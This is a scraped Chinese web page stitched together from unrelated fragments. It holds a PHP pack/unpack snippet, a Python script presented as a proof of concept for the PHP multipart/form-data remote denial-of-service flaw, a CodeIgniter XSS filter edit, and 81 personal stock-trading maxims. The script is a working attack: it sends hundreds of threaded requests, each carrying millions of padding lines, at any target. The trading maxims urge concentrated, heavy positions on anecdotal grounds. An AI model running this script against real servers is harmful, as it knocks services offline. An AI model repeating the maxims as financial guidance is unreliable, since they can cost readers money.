最后本文开头讲到的协议使用pack/unpack 举例程序代码为 :  
  
$lastact   = pack('SCSa32a32',0x0040, 0x00, 0x0006, $username, $passwd );  
  
unpack('Sint1/Cchar1/Sint2/Cchar2/',$lastmessage);  

PHP multipart/form-data 远程DOS漏洞 POC

import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
import threading
import time
 
def http_proxy(proxy_url):
 
    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy
 
def check_php_multipartform_dos(url,post_body,headers):
    req = urllib2.Request(url)
    print "starts......"
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end
 
 
def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store",
                  dest="target",
                  default=False,
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
        target = options.target
    else:
        return;
 
    Num=3500000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    for j in range(100):
        for i in range(3):
            t=threading.Thread(target=check_php_multipartform_dos,args=(target,body,headers,))
            t.start()
        time.sleep(0.01)
    #respond=check_php_multipartform_dos(target,body,headers)
    #print "Result : "
    #print respond[0]
    #print "Respond time : "+str(respond[1]) + " seconds";
 
if __name__=="__main__":
    main()

codeigniter input防XSS修改

codeigniter 原有的XSS过滤很弱,简单改了下原有的input.php

		if ($this->_enable_xss === TRUE)
		{
			$str = $this->security->xss_clean($str);
		}

改为:

		if ($this->_enable_xss === TRUE)
		{
$str=htmlspecialchars($str,ENT_NOQUOTES); $str = $this->security->xss_clean($str);
		}

股民自曝炒股15年来的81条滴血经验

至今我炒股已15年了,我的炒股五个阶段,即,1,无知蛮干阶段;2,进修充电阶段;3,摸索探路阶段;4,归纳成型阶段;5,初见成效阶段。

由此我也深深得出一个结论,凡是真实地写下自己亲身发生的一切过程,一定是具有生命力的,不管文字本身美与否,感谢成千上万的读者,给我真诚的留言和祝福,为此,我将我多年积淀的炒股话语奉献给大家。

1、我入市三年后,发现我比一般股民表现四大突出的优点:刻苦,认真,钻研,求异。相信我能有实现跨进赢家大门槛的能力。

2、我在操作中,不断地要发现自我,改变自我,挑战自我,战胜自我。校正自己,永远比研究市场更重要!

3、我炒股五年后才发现,十年后才证实了炒股赚钱的指路明灯——天道酬勤。我每天在重复只做一件最简单而又最单调复杂的事情,即枯燥又无味,即寂寞无聊!

只要能够坚持再坚持,忍耐再忍耐,在忍无可忍的时候,有再忍下去的毅力,始终如一不断地观察坚持记录,一天也不能遗漏,然后通过不断地归纳总结筛选,积累沉淀一定会有我意想不到的惊喜!

4、我炒股十年后,终于诞生了我的炒股总方针:追求稳定,长久,持续地获利。

5、我知道的炒股知识并不少,我在发问自己:真正做到的又有多少?能够做好的又有多少?最后要问独树一帜的你有吗?十多年后的当时我肯定地说,有!可能是独一无二,我坚信!我坚持!

6、我炒股赚钱的工具——我的操作系统。

7、信号第一,铁的纪律。不受个人的情绪影响。它是从由战胜市场转变为顺应市场,由主动性交易转变为被动性交易,操作主要考虑在“应变”而不是在“预测”上。

8、抓住试盘,守株待兔。在常人看来这是愚蠢和原始的,但是真正让我炒股能够稳定,长久,持续地赚到钱的功夫还真是“坐功”。守株待兔关键是选择在哪些树下可以耐心等待,可能这个选择是几年来的心血结晶,心法相同技法却不同。

9、不听忽悠,眼见为实。我能要到手的铜,不要隔山的金子。

10、专家的话是两头堵,总是说如果……那么就会是……,一旦说对了就会炫耀自己看的多么准!一旦说错了他们就会说,我说过如果……那么……,现在是如果的条件没有满足,所以没有走出预想的行情是对的。我说,要是听专家的话炒股,想成为赢家我觉得简直是梦想。

11、 我看图是打开图形向左看,先看月线再看周线,压缩图形看趋势,看方向不重价。

12、 强势时不看阻力,弱势时不看支撑。

13、 顺势加码要持股!逆势斩仓要离场!

14、我无意中发现当我赚到钱的一个规律,要想赚到钱,“必须要敢重仓”。我一般是在底部看好一只股票基本上就重仓,如果不是,顺势加码持股也就逐步达到重仓了。这样,一拨行情下来赚个20%——40%很容易。

但是,过去是见到大盘上涨明朗后才开始敢大买,而涨了点就卖,大盘继续涨,就在热点板块跳来蹦去频繁地买卖赚点差价操作忙个不休,或者手中分散持股几只,这样到最后一般是赚了指数不赚钱。

应该是在底部区域看准机会,必须重仓,敢于重仓这是改变自己的收益的关键问题。这就是看对时要有赚大钱的豪情,看错时要有及时止损的果断。

15、
自从我有了选股“本事”之后,我是坚决果断地把鸡蛋就敢放在一个筐里。要是不敢放?!说明我还没有能力找到一个结实的铁筐,也可以说还没有能力走上赢家的
路。所以我就每天看管好这一筐鸡蛋就行了,我一赢就赢个盆满钵盈,我一见要输马上干净利落不用几秒钟就能逃个精光。

16、 事不过三。有效站稳或跌穿应该以三个交易日为衡量标准,才能够称之为有效。

17、庄家在高位连续拉高,目的就是派发和自救,这种认识我必须“固执”。

18、明星股,不管价格有多高都会有不怕死的追星族跟风,何为胆大?无知才胆大!

19、 赢家第一想到的是风险,而输家第一想到的是赚钱!

20、 赢家常套在低位,一旦反转就开始赚,输家常套在高位,一旦反转就开始赔。

21、要深知股价的高山上长眠的人都得的是什么病?我认为大部分得的是追热点病高烧不退而死在山顶上,少部分得的是贪婪病。

22、洗盘时的底部是逐步在抬高,而出货时底部逐步在降低。前者经常以大阴线方式吓唬人,后者则以大阳线在吸引人。

23、出权的股票走势不填权,空喊说什么再好的分红送转的花言巧语我都不听。

24、我拿手抓住庄家的试盘手法是:多点共振且一阳穿三线。

25、我拿手抓住庄家操作态势的是:横盘—挖坑—无量—填平—放量—横盘—拉升。

26、以上两条如果能够练就把宏观和微观达到完美的结合——就能是无招胜有招,我个人经验体会是起码需要10年的时间孜孜不倦地看盘磨练。

27、我喜欢炒到的股票不是黑马,因为黑马股我是骑不住。而是喜欢能炒到小火慢炖的股票,从底部当我重仓介入的股票走势是,进二退一,进三退二,进五退三,有时甚至是进五退八。

虽然这是老牛拉破车——嘎吱的股票,但是我完全不再关心经济数据和政治事件的好坏,因为基本面对于我来说毫无用处。

也从不和别人说起交易的事,因为我知道没有人能够说明白。每天我也无需关心大盘在200点之内上下跳动,那是股市的噪音,它除了挑战和折磨我的神经和影响我的情绪之外,对于我的操作没有任何正面作用。

我坚持的结果是优哉游哉,资金在滚雪球,一波行情下来,全年的盈利任务就轻松地完成了。

28、炒股最难的事是什么?我认为就是方向选对了之后,如何能够“坚持”!人的本性弱点是错误的寻求机会扩大化,而不是使利润继续扩大。

29、真正能让我赚钱的是能够把握住趋势,忽略小的波动,热衷于局部战役的小打小闹获得点蝇头小利无法保证全局的胜利。

30、正让我赚不到钱或者亏损的原因仍然是心理因素,固执,贪婪与侥幸,失败就是偏爱自负的人,顽固的人和不自律的人,使我重复老犯过去的低级错误。

31、部分输钱的人,宁可赔钱也不肯承认自己有错误。死要面子钱受罪!

32、是必看无疑。该看哪本不该看哪本没人告诉我,读书走弯路是必然的。另外一本书不同人会读出不同的效果来。

33、认为股市里大多数人的行为往往是错误的。

34、大家都怕的事不一定可怕,大家都爱的事不一定可爱。

35、想赚钱就要反大众,反来反去把自己反到与庄家共舞的队伍中去了。不必在意他人的看法,只研究自己的对与错,力争成为少数人,你想错它能错到哪里?

36、我的十个“不”字和两个“否定”。我是不找黑马,不追热点,不找重组的,不炒送配的,不炒出权不填权的,不炒ST股,不听股评,不预测大盘走势,不看基本面,不看证券报刊杂志,否定波浪理论,否定炒股软件(两个否定指的是不适合我,他的存在就是具有合理性)。

到了我这个炒股氛围不是需要追求再学习更多的炒股知识,而是应该减肥,当我除掉自身那些我自己认为没有用的东西后,我觉得从此炒股的路子更加清晰,技术更加精湛,收益更加稳定。

37、我的三个“一”字。一生中我可能只用“抓住试盘,守株待兔”这一种方法炒股; 一生中我可能谁的话我都不会听,就听自己操作系统的;一生中我必须固执地执行自己设定的止损点,即便是有时是错误我下次也不会改变这操作一理念。

38、我赞成不要用眼睛和耳朵炒股,要用脑子炒股的理念。就是不看不听(这里指的是股评家,咨询机构的评论),用脑子独立思考。

39、凡是股市最热闹人多的地方,不会有我的影子。

40、人多的地方我归纳有五多:吹牛的多,股评的多,骗子多,赔钱人多,新人多。

41、我是待在被庄家和大家遗忘的角落里,我认为在这个角落里是最好自守孤独的地方。脱离浮躁与喧嚣,心静,不至于做出仓促的决定。

42、当我能够感觉到孤独是快乐时,我觉得这是修来了的一种仙气。那断定我的心灵一定是强大的,心灵强大就不怕赚不到钱!

43、我炒股不是走大路而是走小道,爬山坳越溪流。做不正常的人,走不正常的路。走大家走过的路,往往是捡不到什么好果子了,老跟着别人屁股后是呼吸不到新鲜空气的。

44、股市永远都不缺机会,踏空一次,仅失去一次机会,被套一次就可能丧失很多机会。

45、能看到机会和很好地把握机会是两码事。无知是谈不到把握机会的,一知半解是把握不好机会的,只有真知才能融会贯通紧紧地抓住机会不放。

46、会买的是徒弟,会卖的是师傅,卖出后能耐心等待机会的是神仙。等待不是无事可做,不是犹豫不决,不是思前怕后,等待见到机会要有一剑封喉的勇气和果断,一箭不中全身而退。等待反映一个人的综合素质,学习等待,善于等待。

47、行为决定了习惯,习惯决定了性格,性格决定了命运。少到“五多”的人堆里去,近墨者黑。慢慢克服自己的贪心,狂妄自大,喜欢别人的认同,不肯承认错误,说话不算数等一些的不良行为,后面的好事就会接踵而来水到渠成。

48、世间财富分配永远是二八分成,八二分成那是暂时的。二八定律的市场是为孤独寂寞有耐心的人们而开的!

49、炒股的秘笈实质是秘而不宣。同仁堂能把牛黄清心丸的配方公布于世吗?可口可乐的配方也是如此的。真正炒股高手是待在家里静悄悄地敲键盘赚大钱。

50、我相信大盘走势的预测结论,不会在细节上有吻合或者在炒作上有具体的指导意义。有三种人能够准确预测大盘走势,神仙,疯子和骗子。既然炒股软件也是人编造出来的,那么它的买卖点也是不可信的。

51、我相信这个世界上没有一种绝对有效分析股市的方式。如果有,股市早就不存在了。

52、
炒股如果指望是看一看零敲碎打的书籍,听一听似是而非的股评,要不再加上一点秘诀,东学一招,西凑一式,合在一起就用,赢一把,两把是凭运气,赢十把、百
把是遇到了牛市,可时间一长,遇到牛皮市和熊市就现了原形,仍然还是陷入亏损的泥潭里,这样的人往往表现无知者无畏。

53、理论和心理素质就像是内功,像是心法,而操作方法就像是武功的套路。内功浮燥,心法混乱,武功套路在关键时刻必然就会乱了套,跩了大跟头那是必然。内功雄厚扎实,心法清晰明确坚定,这样的人往往表现大智大勇。

54、炒股的心法是什么?你看!均线在骗,K线在骗,技术指标在骗,成交量在骗,业绩在骗,重组在骗,送配在骗,股评家在骗,报刊杂志,广播电视在骗,整个归结股市就是一个“骗”字。

下跌当中老是补仓,越跌越补,越补越套,抄底过早而被深套,这些人就是想及早捡便宜没捡到犯了一个“贪”字,股票涨了不卖,越涨越是不卖,结果不是被急跌或者阴跌把自己的利润又给吐回去了,或者是追高,而被套死。

整个归结就是一个“贪”字。骗子非常喜欢爱贪的人,爱贪的人没有不被骗的,这是一对幽灵终生陪伴你我,所以股市的心法就是认清两个字,一个是“骗”,一个是“贪”,只要是心法清晰,明确,坚定,这样的人在接招时永远是得心应手,井然有序。

55、炒股初级阶段经常是盲目崇拜。不是说向谁学习就一定能学成,巴菲特不是好学的,何况股市里的假巴菲特太多了。

尤其是读几年金融专业再出国打了个滚,根本就没有大资金炒中国股票的实战经验,把国内国外的东拼西凑,断章取义,生搬硬套,就敢写书夸夸其谈的毛手毛脚的小伙子多于牛毛。

56、我说赢家门前挂有“稳”字牌匾的有三道大门。第一道是稳赔,第二道是稳不赔不赚,第三道是稳赚,最后才能跨进赢家的大门,那是稳定,长久,持续地赚钱。没有5年以上是不能真正走进第二道门槛里的。

没有10年以上,是不能稳定获利的。20年后,你可能在股市里为所欲为。但是我认为,时间跟人的炒股经验没有必然成正比例关系。股市不是说只涨岁数不涨记性的人以靠混年头就能来提款的。

57、你一旦发现自己常常输的是时间而不输钱时!这就告诉你,离赢家的门槛就不远了。

58、求人不如求己,这个挂在嘴边浅显易懂的道理在我炒股五年后才领会到真正的含义。这也说明自己太无知,国际歌词早就告诉的明明白白。

59、炒股是艺术不是科学,今天的成功经验也许过些时候就是失败的定律。今天的失败教训过些时候就又可能是成功的法宝。

一句话:没准!主要是因为你正用,庄家有时就反用,你反用庄家就正用,尤其同一个炒股软件两家同时用效果更加明显,出现双赢局面那是偶而与侥幸。

60、炒股高手一定是具备有自己的交易系统,而且是有稳定的准确率。这个稳定性来源于:个人的无意识,意识到,做到,做好。这中间是由于坚持而形成了习惯,习惯又变成了融会贯通。整个过程是直觉,本能,无招,大成的过程。

61、一个人好的交易系统,是经过多年不断地在痛苦的思考,提炼,再思考,再提炼的循环过程。也就是时时在保养,年年在保养。一旦不保养就会失效的。

62、好多人成不了高手是悟性不足,韧性不够所以成为不了赢家,也许是一辈子。

63、想做高手是痛苦的,需要毅力,更是孤独的,因为高手每天都在否定自己而要适应市场

64、没有既能在振荡市中赚钱又能在趋势行情中获利的交易系统。

65、一年分四季,各个季节需穿不同的衣服。我有三种选股方法,它们是适应在大盘的底部,中部和顶部。

66、看高手不要看他怎么赚钱,最好能够看到他是怎样应对输钱的,看他是怎样止损和止盈的。

67、我认为炒股其实并不简单!说简单的人,就好比看齐白石画虾,徐悲鸿画马就这么简单!看到了表面,看到了现象却没有看到本质。

68、要让我说炒股简单,我说有两点,一是请一位好老师,二就是勤奋。这就是师傅领进门,修行在个人。

69、炒股千万不要与人攀比,容易搞坏心情,只有认真反思自己,大彻大悟!有的对于别人来说是好机会,而对于自己可能就是陷阱,只赚属于自己的钱。是你的就是你的,不是你的,争着抢着夺着也白搭!看看自己的交割单就是自己的老师。

70、不要迷信那些夸夸其谈每周都能买到涨停板的人,其实他的业绩是一塌煳涂,赔的可能比谁都惨!

71、不要跟随天天在预测大盘走势的人,他一是故弄玄虚炫耀自己,二是他另有企图,背后干些偷鸡摸狗的事。

72、抄底就是炒人气崩溃,等到交易所门可罗雀,让人伤心绝望到极点的时候,营业厅每天只来那么几个人就可以大胆抄底了。

所以,抄底就是门可罗雀,逃顶就是人满为患。准确率虽然相当高,可是大多数人就是做不到。为什么?因为都套的死死的,没有钱等待解套。

73、我认为股票市场不是国民经济的晴雨表。现在经济不好,不能买进,或是等到所有利空都去尽以后,再买也不迟。所以,大家在家等着看报纸,看电视,确定经济已经转好才开始买股票,我说这时已经晚了。我们应该做到在极度悲观的气氛中,乐观地重仓进场。

74、我最怕的是大盘阴跌和不跌,我最不怕的是暴跌。大盘非理性的暴跌和无病的大跌,就是低档介入赚钱的好机会,遇到此时千万不要把财神爷拒之门外。

75、我的两次5%理论。我知道抄底很难抄到最低点,一般我分两次进场抄底,第一次我认为可能是低点时以2——4成仓位杀进后,结果抄的不是底时,需再等待至少跌7%以上再买同等仓位,两次平均价离真正的底5%以内时我认为就算是高手了。


理,我两次卖出的平均价离真正的顶部5%以内时也认为是高手了。我是社会最底层的人做股票,没有关系背景,没有消息来源,买进、卖出不可能那么准确,我只
能是估计一个区域,在安全区域可以买进,也许买进还会跌一些,在风险区域就要卖出,也许卖出之后还能涨很多。能够每次做到精准买进卖出是不现实的。

76、我一旦重仓发动攻击时,身边出现再诱人的股票我都不会动心。炒的股票一旦定下就要专一,往往笑到最后是我而不是那些朝三暮四追龙头抢热点当初嘲笑我的人。

77、市是真正培养耐心的土壤!牛市往往会使人的野心膨胀。

78、我炒股的高兴与痛苦,不是因为我的股票上涨而高兴与下跌而痛苦,而是我规划设计自己的股票十天半月应该怎么走的大概率框架蓝图,虽然中间有好多意想不到的波动,结果股票基本上没有走出这个框架之外,这是我最高兴的,因为我能与庄家基本上想到一块去了。

想不到一块时就是最痛苦的,我需赶快找原因调整操作策略。从来就不要自以为是,不自作多情。

79、股市有风险,但股市相对是“公正”的。公不公正就看你的眼力。

80、股市是天堂,但股市也是地狱。我想好多股友还是没有真正尝试到地狱是什么滋味,但是我觉得我是尝到了。

即便是有炒股丰富经验的人,如果生活经历不够丰富,也很可能在遭受一次下地狱惨痛的打击之后,甚至有永远要放弃炒股的念头!

只有经历丰富的人真正尝试到了这种滋味后,再炒股业绩必有飞跃,这就是被击落有多深,反弹就有多高。

81、炒股是谋事在人,成事在天。最后,我加一句:发上等愿,结中等缘,享下等福。

我的经验话语共八十一条,也是九九归一。真正想做到它,我认为炒股也就能炒到了真金。